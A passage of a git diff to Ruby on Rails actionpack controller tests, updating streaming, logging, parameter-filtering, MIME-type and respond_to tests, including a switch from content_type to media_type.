-        (Thread.list - current_threads).each(&:join)
-
         assert_equal %(data: "500 Internal Server Error"\n\n), response.body
         assert_match "An exception occurred...", output.rewind && output.read
         assert_stream_closed
@@ -461,10 +679,52 @@ def test_stale_without_etag
     end
 
     def test_stale_with_etag
-      @request.if_none_match = %(W/"#{Digest::MD5.hexdigest('123')}")
+      @request.if_none_match = %(W/"#{ActiveSupport::Digest.hexdigest('123')}")
       get :with_stale
       assert_equal 304, response.status.to_i
     end
+
+    def test_response_buffer_do_not_respond_to_to_ary
+      get :basic_stream
+      # `response.to_a` wraps the response with RackBody.
+      # RackBody is the body we return to Rack.
+      # Therefore we want to assert directly on it.
+      # The Rack spec requires bodies that cannot be
+      # buffered to return false to `respond_to?(:to_ary)`
+      assert_not response.to_a.last.respond_to? :to_ary
+    end
+  end
+
+  class LiveControllerThreadTest < ActionController::TestCase
+    class TestController < ActionController::Base
+      include ActionController::Live
+
+      def greet
+        response.headers["Content-Type"] = "text/event-stream"
+        %w{ hello world }.each do |word|
+          response.stream.write word
+        end
+        response.stream.close
+      end
+    end
+
+    tests TestController
+
+    def test_thread_locals_do_not_get_reset_in_test_environment
+      Thread.current[:setting] = "aaron"
+
+      get :greet
+
+      assert_equal "aaron", Thread.current[:setting]
+    end
+
+    def test_isolated_state_does_not_get_reset_in_test_environment
+      ActiveSupport::IsolatedExecutionState[:setting] = "aaron"
+
+      get :greet
+
+      assert_equal "aaron", ActiveSupport::IsolatedExecutionState[:setting]
+    end
   end
 
   class BufferTest < ActionController::TestCase
@@ -509,7 +769,7 @@ def app
     get "/test"
 
     assert_response :ok
-    assert_match(/data: {\"name\":\"John\"}/, response.body)
-    assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+    assert_match(/data: {"name":"John"}/, response.body)
+    assert_match(/data: {"name":"Ryan"}/, response.body)
   end
 end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 0f2242b693ac7..d4cd82368e57d 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class LocalizedController < ActionController::Base
@@ -41,6 +43,13 @@ def test_localized_template_has_correct_header_with_no_format_in_template_name
     I18n.locale = :it
     get :hello_world
     assert_equal "Ciao Mondo", @response.body
-    assert_equal "text/html",  @response.content_type
+    assert_equal "text/html",  @response.media_type
+  end
+
+  def test_use_locale_with_lowdash
+    I18n.locale = :"de_AT"
+
+    get :hello_world
+    assert_equal "Guten Morgen", @response.body
   end
 end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 45a120acb68cf..dd58e495f87aa 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -1,112 +1,124 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/log_subscriber/test_helper"
 require "action_controller/log_subscriber"
 
-module Another
-  class LogSubscribersController < ActionController::Base
-    wrap_parameters :person, include: :name, format: :json
+class ACLogSubscriberTest < ActionController::TestCase
+  module Another
+    class LogSubscribersController < ActionController::Base
+      wrap_parameters :person, include: :name, format: :json
 
-    class SpecialException < Exception
-    end
+      class SpecialException < Exception
+      end
 
-    rescue_from SpecialException do
-      head 406
-    end
+      rescue_from SpecialException do
+        head 406
+      end
 
-    before_action :redirector, only: :never_executed
+      before_action :redirector, only: :never_executed
 
-    def never_executed
-    end
+      def never_executed
+      end
 
-    def show
-      head :ok
-    end
+      def show
+        head :ok
+      end
 
-    def redirector
-      redirect_to "http://foo.bar/"
-    end
+      def redirector
+        redirect_to "http://foo.bar/"
+      end
 
-    def filterable_redirector
-      redirect_to "http://secret.foo.bar/"
-    end
+      def filterable_redirector
+        redirect_to "http://secret.foo.bar/"
+      end
 
-    def data_sender
-      send_data "cool data", filename: "file.txt"
-    end
+      def filterable_redirector_with_params
+        redirect_to "http://secret.foo.bar?username=repinel&password=1234"
+      end
 
-    def file_sender
-      send_file File.expand_path("company.rb", FIXTURE_LOAD_PATH)
-    end
+      def filterable_redirector_bad_uri
+        redirect_to " s:/invalid-string0uri"
+      end
 
-    def with_fragment_cache
-      render inline: "<%= cache('foo'){ 'bar' } %>"
-    end
+      def data_sender
+        send_data "cool data", filename: "file.txt"
+      end
 
-    def with_fragment_cache_and_percent_in_key
-      render inline: "<%= cache('foo%bar'){ 'Contains % sign in key' } %>"
-    end
+      def file_sender
+        send_file File.expand_path("company.rb", FIXTURE_LOAD_PATH)
+      end
 
-    def with_fragment_cache_if_with_true_condition
-      render inline: "<%= cache_if(true, 'foo') { 'bar' } %>"
-    end
+      def with_fragment_cache
+        render inline: "<%= cache('foo'){ 'bar' } %>"
+      end
 
-    def with_fragment_cache_if_with_false_condition
-      render inline: "<%= cache_if(false, 'foo') { 'bar' } %>"
-    end
+      def with_fragment_cache_and_percent_in_key
+        render inline: "<%= cache('foo%bar'){ 'Contains % sign in key' } %>"
+      end
 
-    def with_fragment_cache_unless_with_false_condition
-      render inline: "<%= cache_unless(false, 'foo') { 'bar' } %>"
-    end
+      def with_fragment_cache_if_with_true_condition
+        render inline: "<%= cache_if(true, 'foo') { 'bar' } %>"
+      end
 
-    def with_fragment_cache_unless_with_true_condition
-      render inline: "<%= cache_unless(true, 'foo') { 'bar' } %>"
-    end
+      def with_fragment_cache_if_with_false_condition
+        render inline: "<%= cache_if(false, 'foo') { 'bar' } %>"
+      end
 
-    def with_exception
-      raise Exception
-    end
+      def with_fragment_cache_unless_with_false_condition
+        render inline: "<%= cache_unless(false, 'foo') { 'bar' } %>"
+      end
 
-    def with_rescued_exception
-      raise SpecialException
-    end
+      def with_fragment_cache_unless_with_true_condition
+        render inline: "<%= cache_unless(true, 'foo') { 'bar' } %>"
+      end
 
-    def with_action_not_found
-      raise AbstractController::ActionNotFound
-    end
+      def with_throw
+        throw :halt
+      end
 
-    def append_info_to_payload(payload)
-      super
-      payload[:test_key] = "test_value"
-      @last_payload = payload
-    end
+      def with_exception
+        raise Exception, "Oopsie"
+      end
+
+      def with_rescued_exception
+        raise SpecialException, "Oops"
+      end
 
-    def last_payload
-      @last_payload
+      def with_action_not_found
+        raise AbstractController::ActionNotFound
+      end
+
+      def append_info_to_payload(payload)
+        super
+        payload[:test_key] = "test_value"
+        @last_payload = payload
+      end
+
+      attr_reader :last_payload
     end
   end
-end
 
-class ACLogSubscriberTest < ActionController::TestCase
   tests Another::LogSubscribersController
-  include ActiveSupport::LogSubscriber::TestHelper
 
-  def setup
-    super
+  setup do
+    @old_fragment_cache_logging = ActionController::Base.enable_fragment_cache_logging
     ActionController::Base.enable_fragment_cache_logging = true
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = @logger
 
-    @old_logger = ActionController::Base.logger
-
-    @cache_path = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname("tmp", "cache")
+    @cache_path = Dir.mktmpdir(%w[tmp cache])
     @controller.cache_store = :file_store, @cache_path
-    ActionController::LogSubscriber.attach_to :action_controller
+    @controller.config.perform_caching = true
   end
 
-  def teardown
-    super
-    ActiveSupport::LogSubscriber.log_subscribers.clear
+  teardown do
+    ActionController::LogSubscriber.logger = @old_logger
+
     FileUtils.rm_rf(@cache_path)
     ActionController::Base.logger = @old_logger
-    ActionController::Base.enable_fragment_cache_logging = true
+    ActionController::Base.enable_fragment_cache_logging = @old_fragment_cache_logging
   end
 
   def set_logger(logger)
@@ -115,21 +127,36 @@ def set_logger(logger)
 
   def test_start_processing
     get :show
-    wait
     assert_equal 2, logs.size
-    assert_equal "Processing by Another::LogSubscribersController#show as HTML", logs.first
+    assert_equal "Processing by #{Another::LogSubscribersController}#show as HTML", logs.first
+  end
+
+  def test_start_processing_as_json
+    get :show, format: "json"
+    assert_equal 2, logs.size
+    assert_equal "Processing by #{Another::LogSubscribersController}#show as JSON", logs.first
+  end
+
+  def test_start_processing_as_non_exten
+    get :show, format: "noext"
+    assert_equal 2, logs.size
+    assert_equal "Processing by #{Another::LogSubscribersController}#show as */*", logs.first
   end
 
   def test_halted_callback
     get :never_executed
-    wait
     assert_equal 4, logs.size
     assert_equal "Filter chain halted as :redirector rendered or redirected", logs.third
   end
 
+  def test_rescue_from_callback
+    get :with_rescued_exception
+    assert_equal 3, logs.size
+    assert_match(/rescue_from handled #{Another::LogSubscribersController}::SpecialException \(Oops\) - .*log_subscriber_test/, logs.second)
+  end
+
   def test_process_action
     get :show
-    wait
     assert_equal 2, logs.size
     assert_match(/Completed/, logs.last)
     assert_match(/200 OK/, logs.last)
@@ -137,48 +164,54 @@ def test_process_action
 
   def test_process_action_without_parameters
     get :show
-    wait
-    assert_nil logs.detect { |l| l =~ /Parameters/ }
+    assert_nil logs.detect { |l| /Parameters/.match?(l) }
   end
 
   def test_process_action_with_parameters
     get :show, params: { id: "10" }
-    wait
 
     assert_equal 3, logs.size
-    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+    assert_equal "Parameters: #{{ "id" => "10" }}", logs[1]
   end
 
   def test_multiple_process_with_parameters
     get :show, params: { id: "10" }
     get :show, params: { id: "20" }
 
-    wait
-
     assert_equal 6, logs.size
-    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
-    assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+    assert_equal "Parameters: #{{ "id" => "10" }}", logs[1]
+    assert_equal "Parameters: #{{ "id" => "20" }}", logs[4]
   end
 
   def test_process_action_with_wrapped_parameters
     @request.env["CONTENT_TYPE"] = "application/json"
     post :show, params: { id: "10", name: "jose" }
-    wait
 
     assert_equal 3, logs.size
-    assert_match '"person"=>{"name"=>"jose"}', logs[1]
+    assert_match({ "person" => { "name" => "jose" } }.inspect[1..-2], logs[1])
   end
 
   def test_process_action_with_view_runtime
     get :show
-    wait
     assert_match(/Completed 200 OK in \d+ms/, logs[1])
   end
 
+  def test_process_action_with_path
+    @request.env["action_dispatch.parameter_filter"] = [:password]
+    get :show, params: { password: "test" }
+    assert_match(/\/show\?password=\[FILTERED\]/, @controller.last_payload[:path])
+  end
+
+  def test_process_action_with_throw
+    catch(:halt) do
+      get :with_throw
+    end
+    assert_match(/Completed   in \d+ms/, logs[1])
+  end
+
   def test_append_info_to_payload_is_called_even_with_exception
     begin
       get :with_exception
-      wait
     rescue Exception
     end
 
@@ -187,7 +220,6 @@ def test_append_info_to_payload_is_called_even_with_exception
 
   def test_process_action_headers
     get :show
-    wait
     assert_equal "Rails Testing", @controller.last_payload[:headers]["User-Agent"]
   end
 
@@ -197,26 +229,24 @@ def test_process_action_with_filter_parameters
     get :show, params: {
       lifo: "Pratik", amount: "420", step: "1"
     }
-    wait
 
     params = logs[1]
-    assert_match(/"amount"=>"\[FILTERED\]"/, params)
-    assert_match(/"lifo"=>"\[FILTERED\]"/, params)
-    assert_match(/"step"=>"1"/, params)
+    assert_match({ "amount" => "[FILTERED]" }.inspect[1..-2], params)
+    assert_match({ "lifo" => "[FILTERED]" }.inspect[1..-2], params)
+    assert_match({ "step" => "1" }.inspect[1..-2], params)
   end
 
   def test_redirect_to
     get :redirector
-    wait
 
     assert_equal 3, logs.size
     assert_equal "Redirected to http://foo.bar/", logs[1]
+    assert_match(/Completed 302/, logs.last)
   end
 
   def test_filter_redirect_url_by_string
     @request.env["action_dispatch.redirect_filter"] = ["secret"]
     get :filterable_redirector
-    wait
 
     assert_equal 3, logs.size
     assert_equal "Redirected to [FILTERED]", logs[1]
@@ -225,15 +255,61 @@ def test_filter_redirect_url_by_string
   def test_filter_redirect_url_by_regexp
     @request.env["action_dispatch.redirect_filter"] = [/secret\.foo.+/]
     get :filterable_redirector
-    wait
 
     assert_equal 3, logs.size
     assert_equal "Redirected to [FILTERED]", logs[1]
   end
 
+  def test_does_not_filter_redirect_params_by_default
+    get :filterable_redirector_with_params
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to http://secret.foo.bar?username=repinel&password=1234", logs[1]
+  end
+
+  def test_filter_redirect_params_by_string
+    @request.env["action_dispatch.parameter_filter"] = ["password"]
+    get :filterable_redirector_with_params
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to http://secret.foo.bar?username=repinel&password=[FILTERED]", logs[1]
+  end
+
+  def test_filter_redirect_params_by_regexp
+    @request.env["action_dispatch.parameter_filter"] = [/pass.+/]
+    get :filterable_redirector_with_params
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to http://secret.foo.bar?username=repinel&password=[FILTERED]", logs[1]
+  end
+
+  def test_filter_redirect_bad_uri
+    @request.env["action_dispatch.parameter_filter"] = [/pass.+/]
+
+    get :filterable_redirector_bad_uri
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to [FILTERED]", logs[1]
+  end
+
+  def test_verbose_redirect_logs
+    line = Another::LogSubscribersController.instance_method(:redirector).source_location[1] + 1
+    old_cleaner = ActionController::LogSubscriber.backtrace_cleaner
+    ActionController::LogSubscriber.backtrace_cleaner = ActionController::LogSubscriber.backtrace_cleaner.dup
+    ActionController::LogSubscriber.backtrace_cleaner.add_silencer { |location| !location.include?(__FILE__) }
+    ActionDispatch.verbose_redirect_logs = true
+
+    get :redirector
+
+    assert_equal 4, logs.size
+    assert_match(/↳ #{__FILE__}:#{line}/, logs[2])
+  ensure
+    ActionDispatch.verbose_redirect_logs = false
+    ActionController::LogSubscriber.backtrace_cleaner = old_cleaner
+  end
+
   def test_send_data
     get :data_sender
-    wait
 
     assert_equal 3, logs.size
     assert_match(/Sent data file\.txt/, logs[1])
@@ -241,7 +317,6 @@ def test_send_data
 
   def test_send_file
     get :file_sender
-    wait
 
     assert_equal 3, logs.size
     assert_match(/Sent file/, logs[1])
@@ -249,95 +324,66 @@ def test_send_file
   end
 
   def test_with_fragment_cache
-    @controller.config.perform_caching = true
     get :with_fragment_cache
-    wait
 
     assert_equal 4, logs.size
     assert_match(/Read fragment views\/foo/, logs[1])
     assert_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_with_fragment_cache_when_log_disabled
-    @controller.config.perform_caching = true
     ActionController::Base.enable_fragment_cache_logging = false
     get :with_fragment_cache
-    wait
 
     assert_equal 2, logs.size
-    assert_equal "Processing by Another::LogSubscribersController#with_fragment_cache as HTML", logs[0]
+    assert_equal "Processing by #{Another::LogSubscribersController}#with_fragment_cache as HTML", logs[0]
     assert_match(/Completed 200 OK in \d+ms/, logs[1])
-  ensure
-    @controller.config.perform_caching = true
     ActionController::Base.enable_fragment_cache_logging = true
   end
 
   def test_with_fragment_cache_if_with_true
-    @controller.config.perform_caching = true
     get :with_fragment_cache_if_with_true_condition
-    wait
 
     assert_equal 4, logs.size
     assert_match(/Read fragment views\/foo/, logs[1])
     assert_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_with_fragment_cache_if_with_false
-    @controller.config.perform_caching = true
     get :with_fragment_cache_if_with_false_condition
-    wait
 
     assert_equal 2, logs.size
     assert_no_match(/Read fragment views\/foo/, logs[1])
     assert_no_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_with_fragment_cache_unless_with_true
-    @controller.config.perform_caching = true
     get :with_fragment_cache_unless_with_true_condition
-    wait
 
     assert_equal 2, logs.size
     assert_no_match(/Read fragment views\/foo/, logs[1])
     assert_no_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_with_fragment_cache_unless_with_false
-    @controller.config.perform_caching = true
     get :with_fragment_cache_unless_with_false_condition
-    wait
 
     assert_equal 4, logs.size
     assert_match(/Read fragment views\/foo/, logs[1])
     assert_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_with_fragment_cache_and_percent_in_key
-    @controller.config.perform_caching = true
     get :with_fragment_cache_and_percent_in_key
-    wait
 
     assert_equal 4, logs.size
     assert_match(/Read fragment views\/foo/, logs[1])
     assert_match(/Write fragment views\/foo/, logs[2])
-  ensure
-    @controller.config.perform_caching = true
   end
 
   def test_process_action_with_exception_includes_http_status_code
     begin
       get :with_exception
-      wait
     rescue Exception
     end
     assert_equal 2, logs.size
@@ -346,16 +392,14 @@ def test_process_action_with_exception_includes_http_status_code
 
   def test_process_action_with_rescued_exception_includes_http_status_code
     get :with_rescued_exception
-    wait
 
-    assert_equal 2, logs.size
+    assert_equal 3, logs.size
     assert_match(/Completed 406/, logs.last)
   end
 
   def test_process_action_with_with_action_not_found_logs_404
     begin
       get :with_action_not_found
-      wait
     rescue AbstractController::ActionNotFound
     end
 
diff --git a/actionpack/test/controller/logging_test.rb b/actionpack/test/controller/logging_test.rb
new file mode 100644
index 0000000000000..693f3db37d4a6
--- /dev/null
+++ b/actionpack/test/controller/logging_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class LoggingTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    log_at :debug, if: -> { params[:level] == "debug" }
+    log_at :warn,  if: -> { params[:level] == "warn" }
+
+    def show
+      render plain: logger.level
+    end
+  end
+
+  tests TestController
+
+  setup do
+    @logger = @controller.logger = ActiveSupport::Logger.new(nil, level: Logger::INFO)
+  end
+
+  test "logging at the default level" do
+    get :show
+    assert_equal Logger::INFO.to_s, response.body
+  end
+
+  test "logging at a noisier level per request" do
+    assert_no_changes -> { @logger.level } do
+      get :show, params: { level: "debug" }
+      assert_equal Logger::DEBUG.to_s, response.body
+    end
+  end
+
+  test "logging at a quieter level per request" do
+    assert_no_changes -> { @logger.level } do
+      get :show, params: { level: "warn" }
+      assert_equal Logger::WARN.to_s, response.body
+    end
+  end
+end
diff --git a/actionpack/test/controller/metal/renderers_test.rb b/actionpack/test/controller/metal/renderers_test.rb
index 7dc3dd6a6df66..f6558f13545ce 100644
--- a/actionpack/test/controller/metal/renderers_test.rb
+++ b/actionpack/test/controller/metal/renderers_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/core_ext/hash/conversions"
 
@@ -36,13 +38,13 @@ def test_render_json
     get :one
     assert_response :success
     assert_equal({ a: "b" }.to_json, @response.body)
-    assert_equal "application/json", @response.content_type
+    assert_equal "application/json", @response.media_type
   end
 
   def test_render_xml
     get :two
     assert_response :success
     assert_equal(" ", @response.body)
-    assert_equal "text/plain", @response.content_type
+    assert_equal "text/plain", @response.media_type
   end
 end
diff --git a/actionpack/test/controller/metal_test.rb b/actionpack/test/controller/metal_test.rb
new file mode 100644
index 0000000000000..67049bc49d1d1
--- /dev/null
+++ b/actionpack/test/controller/metal_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MetalControllerInstanceTests < ActiveSupport::TestCase
+  class SimpleController < ActionController::Metal
+    def hello
+      self.response_body = "hello"
+    end
+  end
+
+  def test_response_does_not_have_default_headers
+    original_default_headers = ActionDispatch::Response.default_headers
+
+    ActionDispatch::Response.default_headers = {
+      "X-Frame-Options" => "DENY",
+      "X-Content-Type-Options" => "nosniff",
+      "X-XSS-Protection" => "0"
+    }
+
+    response_headers = SimpleController.action("hello").call(
+      "REQUEST_METHOD" => "GET",
+      "rack.input" => -> { }
+    )[1]
+
+    assert_not response_headers.key?("X-Frame-Options")
+    assert_not response_headers.key?("X-Content-Type-Options")
+    assert_not response_headers.key?("X-XSS-Protection")
+  ensure
+    ActionDispatch::Response.default_headers = original_default_headers
+  end
+
+  def test_inspect
+    controller = SimpleController.new
+    assert_match(/\A#<MetalControllerInstanceTests::SimpleController:0x[0-9a-f]+>\z/, controller.inspect)
+  end
+end
diff --git a/actionpack/test/controller/mime/accept_format_test.rb b/actionpack/test/controller/mime/accept_format_test.rb
index a22fa39051104..fb038ae15810c 100644
--- a/actionpack/test/controller/mime/accept_format_test.rb
+++ b/actionpack/test/controller/mime/accept_format_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class StarStarMimeController < ActionController::Base
@@ -29,7 +31,7 @@ def test_javascript_with_no_format_only_star_star
 end
 
 class AbstractPostController < ActionController::Base
-  self.view_paths = File.dirname(__FILE__) + "/../../fixtures/post_test/"
+  self.view_paths = File.expand_path("../../fixtures/post_test", __dir__)
 end
 
 # For testing layouts which are set automatically
@@ -41,7 +43,6 @@ def index
   end
 
 private
-
   def with_iphone
     request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
     yield
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
index 61bd5c80c4f84..e86a00284e593 100644
--- a/actionpack/test/controller/mime/respond_to_test.rb
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/log_subscriber/test_helper"
 
@@ -11,6 +13,12 @@ class RespondToController < ActionController::Base
     end
   }
 
+  def my_html_fragment
+    respond_to do |type|
+      type.html_fragment { render body: "neat" }
+    end
+  end
+
   def html_xml_or_rss
     respond_to do |type|
       type.html { render body: "HTML"    }
@@ -76,7 +84,7 @@ def using_defaults
   def missing_templates
     respond_to do |type|
       # This test requires a block that is empty
-      type.json {}
+      type.json { }
       type.xml
     end
   end
@@ -100,10 +108,30 @@ def made_for_content_type
     end
   end
 
+  def using_conflicting_nested_js_then_html
+    respond_to do |outer_type|
+      outer_type.js do
+        respond_to do |inner_type|
+          inner_type.html { render body: "HTML" }
+        end
+      end
+    end
+  end
+
+  def using_non_conflicting_nested_js_then_js
+    respond_to do |outer_type|
+      outer_type.js do
+        respond_to do |inner_type|
+          inner_type.js { render body: "JS" }
+        end
+      end
+    end
+  end
+
   def custom_type_handling
     respond_to do |type|
       type.html { render body: "HTML"    }
-      type.custom("application/crazy-xml")  { render body: "Crazy XML"  }
+      type.custom("application/fancy-xml")  { render body: "Fancy XML"  }
       type.all  { render body: "Nothing" }
     end
   end
@@ -129,6 +157,13 @@ def handle_any
     end
   end
 
+  def handle_any_doesnt_set_request_content_type
+    respond_to do |type|
+      type.html { render body: "HTML" }
+      type.any { render json: { foo: "bar" } }
+    end
+  end
+
   def handle_any_any
     respond_to do |type|
       type.html { render body: "HTML" }
@@ -136,6 +171,12 @@ def handle_any_any
     end
   end
 
+  def handle_any_with_template
+    respond_to do |type|
+      type.any { render "test/hello_world" }
+    end
+  end
+
   def all_types_with_layout
     respond_to do |type|
       type.html
@@ -292,12 +333,25 @@ def setup
     @request.host = "www.example.com"
     Mime::Type.register_alias("text/html", :iphone)
     Mime::Type.register("text/x-mobile", :mobile)
+    Mime::Type.register("application/fancy-xml", :fancy_xml)
+    Mime::Type.register("text/html; fragment", :html_fragment)
+    ActionView::LookupContext::DetailsKey.clear
   end
 
   def teardown
     super
     Mime::Type.unregister(:iphone)
     Mime::Type.unregister(:mobile)
+    Mime::Type.unregister(:fancy_xml)
+    Mime::Type.unregister(:html_fragment)
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
+  def test_html_fragment
+    @request.accept = "text/html; fragment"
+    get :my_html_fragment
+    assert_equal "text/html; fragment; charset=utf-8", @response.headers["Content-Type"]
+    assert_equal "neat", @response.body
   end
 
   def test_html
@@ -393,12 +447,12 @@ def test_js_or_anything
   def test_using_defaults
     @request.accept = "*/*"
     get :using_defaults
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "Hello world!", @response.body
 
     @request.accept = "application/xml"
     get :using_defaults
-    assert_equal "application/xml", @response.content_type
+    assert_equal "application/xml", @response.media_type
     assert_equal "<p>Hello world!</p>\n", @response.body
   end
 
@@ -419,15 +473,29 @@ def test_using_defaults_with_all
   def test_using_defaults_with_type_list
     @request.accept = "*/*"
     get :using_defaults_with_type_list
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "Hello world!", @response.body
 
     @request.accept = "application/xml"
     get :using_defaults_with_type_list
-    assert_equal "application/xml", @response.content_type
+    assert_equal "application/xml", @response.media_type
     assert_equal "<p>Hello world!</p>\n", @response.body
   end
 
+  def test_using_conflicting_nested_js_then_html
+    @request.accept = "*/*"
+    assert_raises(ActionController::RespondToMismatchError) do
+      get :using_conflicting_nested_js_then_html
+    end
+  end
+
+  def test_using_non_conflicting_nested_js_then_js
+    @request.accept = "*/*"
+    get :using_non_conflicting_nested_js_then_js
+    assert_equal "text/javascript", @response.media_type
+    assert_equal "JS", @response.body
+  end
+
   def test_with_atom_content_type
     @request.accept = ""
     @request.env["CONTENT_TYPE"] = "application/atom+xml"
@@ -453,14 +521,14 @@ def test_synonyms
   end
 
   def test_custom_types
-    @request.accept = "application/crazy-xml"
+    @request.accept = "application/fancy-xml"
     get :custom_type_handling
-    assert_equal "application/crazy-xml", @response.content_type
-    assert_equal "Crazy XML", @response.body
+    assert_equal "application/fancy-xml", @response.media_type
+    assert_equal "Fancy XML", @response.body
 
     @request.accept = "text/html"
     get :custom_type_handling
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "HTML", @response.body
   end
 
@@ -490,6 +558,12 @@ def test_handle_any
     assert_equal "Either JS or XML", @response.body
   end
 
+  def test_handle_any_doesnt_set_request_content_type
+    @request.accept = "text/csv"
+    get :handle_any_doesnt_set_request_content_type
+    assert_equal "application/json", @response.media_type
+  end
+
   def test_handle_any_any
     @request.accept = "*/*"
     get :handle_any_any
@@ -534,6 +608,13 @@ def test_browser_check_with_any_any
     assert_equal "HTML", @response.body
   end
 
+  def test_handle_any_with_template
+    @request.accept = "*/*"
+
+    get :handle_any_with_template
+    assert_equal "Hello world!", @response.body
+  end
+
   def test_html_type_with_layout
     @request.accept = "text/html"
     get :all_types_with_layout
@@ -544,7 +625,7 @@ def test_json_with_callback_sets_javascript_content_type
     @request.accept = "application/json"
     get :json_with_callback
     assert_equal "/**/alert(JS)", @response.body
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
   end
 
   def test_xhr
@@ -554,13 +635,13 @@ def test_xhr
 
   def test_custom_constant
     get :custom_constant_handling, format: "mobile"
-    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "text/x-mobile", @response.media_type
     assert_equal "Mobile", @response.body
   end
 
   def test_custom_constant_handling_without_block
     get :custom_constant_handling_without_block, format: "mobile"
-    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "text/x-mobile", @response.media_type
     assert_equal "Mobile", @response.body
   end
 
@@ -613,7 +694,7 @@ def test_format_with_custom_response_type
     assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
 
     get :iphone_with_html_response_type, format: "iphone"
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
   end
 
@@ -621,7 +702,7 @@ def test_format_with_custom_response_type_and_request_headers
     @request.accept = "text/iphone"
     get :iphone_with_html_response_type
     assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
   end
 
   def test_invalid_format
@@ -651,18 +732,18 @@ def test_variant_not_set_regular_unknown_format
 
   def test_variant_with_implicit_template_rendering
     get :variant_with_implicit_template_rendering, params: { v: :mobile }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "mobile", @response.body
   end
 
   def test_variant_without_implicit_rendering_from_browser
-    assert_raises(ActionController::UnknownFormat) do
+    assert_raises(ActionController::MissingExactTemplate) do
       get :variant_without_implicit_template_rendering, params: { v: :does_not_matter }
     end
   end
 
   def test_variant_variant_not_set_and_without_implicit_rendering_from_browser
-    assert_raises(ActionController::UnknownFormat) do
+    assert_raises(ActionController::MissingExactTemplate) do
       get :variant_without_implicit_template_rendering
     end
   end
@@ -705,137 +786,137 @@ def test_variant_variant_not_set_and_without_implicit_rendering_from_xhr
 
   def test_variant_with_format_and_custom_render
     get :variant_with_format_and_custom_render, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "mobile", @response.body
   end
 
   def test_multiple_variants_for_format
     get :multiple_variants_for_format, params: { v: :tablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "tablet", @response.body
   end
 
   def test_no_variant_in_variant_setup
     get :variant_plus_none_for_format
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "none", @response.body
   end
 
   def test_variant_inline_syntax
     get :variant_inline_syntax
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "none", @response.body
 
     get :variant_inline_syntax, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
   end
 
   def test_variant_inline_syntax_with_format
     get :variant_inline_syntax, format: :js
-    assert_equal "text/javascript", @response.content_type
+    assert_equal "text/javascript", @response.media_type
     assert_equal "js", @response.body
   end
 
   def test_variant_inline_syntax_without_block
     get :variant_inline_syntax_without_block, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
   end
 
   def test_variant_any
     get :variant_any, params: { v: :phone }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "phone", @response.body
 
     get :variant_any, params: { v: :tablet }
-    assert_equal "text/html", @response.content_type
+    assert_equal "text/html", @response.media_type
     assert_equal "any", @response.body
 
